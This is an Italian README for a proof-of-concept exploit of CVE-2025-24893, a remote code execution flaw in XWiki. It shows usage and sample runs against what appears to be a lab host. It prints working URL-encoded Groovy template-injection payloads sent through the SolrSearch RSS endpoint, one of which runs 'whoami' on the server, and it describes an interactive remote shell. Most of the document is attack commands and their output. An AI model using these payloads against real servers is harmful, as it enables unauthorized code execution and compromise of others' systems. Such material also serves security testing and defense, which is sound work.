gmh5225/cve-2025-24893-rce-pocQuesto è un piccolo script per la vulnerabilità RCE CVE-2025-24893. Supporta input/output di base.
Questa PoC prima testa la SSTI e se funziona. Entra in loop e ti consente di eseguire comandi da remoto.
I comandi exec e shell al momento fanno la stessa cosa.
python3 -m pip install requirements.txt
python3 poc.py <target>
python3 poc.py http://10.129.137.222:8080
[*] Targeting http://10.129.137.222:8080
[+] Target is vulnerable!
(xwiki-shell) > help
Documented commands (type help <topic>):
========================================
exec exit help shell
(xwiki-shell) > exec whoami
xwiki
Il flag debug all'inizio dello script mostrerà gli URL generati. Creerà un file debug.log che contiene la risposta grezza della richiesta.
python3 poc.py http://10.129.137.222:8080
[*] Targeting http://10.129.137.222:8080
[DEBUG] URL used: http://10.129.137.222:8080/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22XWIKI_TEST_123%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
[DEBUG] Response content-type: application/rss+xml;charset=utf-8
[+] Target is vulnerable!
(xwiki-shell) > help
Documented commands (type help <topic>):
========================================
exec exit help shell
(xwiki-shell) > exec whoami
[DEBUG] URL used: http://10.129.137.222:8080/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22whoami%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
[DEBUG] Response content-type: application/rss+xml;charset=utf-8
xwiki